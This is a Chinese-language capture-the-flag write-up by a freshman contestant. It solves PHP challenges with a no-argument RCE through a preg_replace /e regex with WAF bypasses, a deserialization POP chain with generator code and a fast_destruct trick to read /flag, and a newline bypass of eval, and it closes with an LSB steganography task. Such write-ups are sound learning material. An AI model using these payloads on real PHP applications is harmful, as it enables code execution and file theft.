前言
啧,题目还不错,是我菜了,一道rce就能琢磨半天,没时间拉pop链555
排名
NISA-FreshMen:第166名
WEB
ezrce
无参rce
这里按下key的submit可以看到index.php的源码
<?php
error_reporting(0);
include 'waf.php';
header("Content-Type:text/html;charset=utf-8");
echo "你是谁啊哥们?把钥匙给我!!!!<br/>";
$key=$_GET['key'];
$name=$_POST['name'];
$qaq=waf($_POST['qaq']);
if (isset($_GET['key'])){
highlight_file(__FILE__);
}
if (isset($name))
{
echo "你是".$name."大人????<br/>";
$name1=preg_replace('/hahaha/e',$qaq,$name);
echo "骗我的吧,你明明是 >>>>小小".$name1;
首先是name
参数,正则表达式中带/e
修饰符,表示将替换字符串视为 PHP 代码,并对其进行求值
所以前面的name=hahaha
那qaq
这里就是输入要执行的命令,
这里试了很多,发现数字和大部分的特殊字符都不能用,猜测是无参rce
于是先查看当前目录下的文件
name=hahaha&qaq=var_dump(scandir(current(localeconv())))
这里尝试过很多种读取文件的方法,发现把end
和array_reverse
ban了
最后尝试用session的方式进行读取,成功读取到waf.php文件
name=hahaha&qaq=show_source(session_id(session_start()));
cookie: PHPSESSID=waf.php
waf.php
<?php
function waf($poc)
{
if(preg_match("/[0-9]|get_defined_vars|getallheaders|next|prev|end|array_reverse|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $poc)){
echo "hacker! you die!<br/>";
return "666";
}
return $poc;
}
猜测flag应该是在根目录,所以这里改用dirname
的方式进行任意读
读取根目录
name=hahaha&qaq=var_dump(scandir(dirname(dirname(dirname(getcwd())))));
发现flag文件
用session的方式读取即可获得flag
ezpop(复现)
反序列化
打开题目,查看js文件,找到一个base64加密过的路由
访问/pop3ZTgMw.php
发现php源码
<?php
highlight_file(__FILE__);
class night
{
public $night;
public function __destruct(){
echo $this->night . '哒咩哟';
}
}
class day
{
public $day;
public function __toString(){
echo $this->day->go();
}
public function __call($a, $b){
echo $this->day->getFlag();
}
}
class light
{
public $light;
public function __invoke(){
echo $this->light->d();
}
}
class dark
{
public $dark;
public function go(){
($this->dark)();
}
public function getFlag(){
include(hacked($this->dark));
}
}
function hacked($s) {
if(substr($s, 0,1) == '/'){
die('呆jio步');
}
$s = preg_replace('/\.\.*/', '.', $s);
$s = urldecode($s);
$s = htmlentities($s, ENT_QUOTES, 'UTF-8');
return strip_tags($s);
}
$un = unserialize($_POST['快给我传参pop']); //
throw new Exception('seino');
很明显终点在getFlag()
方法,
入口是__destruct
,对象当作字符串拼接,
触发__toString
,
进入go
方法,($this->dark)();
对象当作函数处理
触发__invoke
,调用了不存在的方法
触发__call
,最后进入getFlag()
整个链子:
<?php
class night
{
public $night;
}
class day
{
public $day;
}
class light
{
public $light;
}
class dark
{
public $dark;
}
$a=new night();
$a->night=new day();
$a->night->day=new dark();
$a->night->day->dark=new light();
$a->night->day->dark->light=new day();
$a->night->day->dark->light->day=new dark();
$a->night->day->dark->light->day->dark="php://filter/read=convert.base64-encode/resource=/flag";
$b=array($a,0);
echo urlencode(serialize($b));
然后在传参的时候会发现另一个问题,这里的参数实际上存在不可见的Unicode控制字符,复制整个代码到vscode里就会发现
所以直接复制这串为参数然后传参
至于底下的过滤,不允许 /,和 ../
开头,用伪协议就能实现绕过了(官方wp使用%00
绕过)
但是传参后发现并没有出现flag,其实是被 throw new Exception('seino');
影响到了
我们可以通过 fast_destruct 提前触发魔术方法,从而绕过最后的 throw 语句,即在我们传递 payload 的时候,需要将最后面的 }
删掉(即删掉最后一个%7D
)
获取base64编码的flag
unserialize(复现)
反射类,原生类
题目源码
<?php
highlight_file(__FILE__);
header("Content-type:text/html;charset=utf-8");
require_once "waf.php";
error_reporting(0);
class getFlag{
private $password;
private $cmd;
public function __destruct(){
if($this->password=="secret"){ //how to change the private variables
system($this->cmd);
}
}
}
$a = $_GET['a'];
if(isset($_GET['a'])){
@eval(waf($a));
}
?>
预期解先咕咕咕了(
非预期
%0a直接非预期绕过
a=system%0a('ls');
MISC
管道
LSB隐写
下载图片,拖入stegsolve
根据题目描述”这个lsb怎么这么奇怪,难道是方向不对吗???“
把方向改为Column,通道开Green获取flag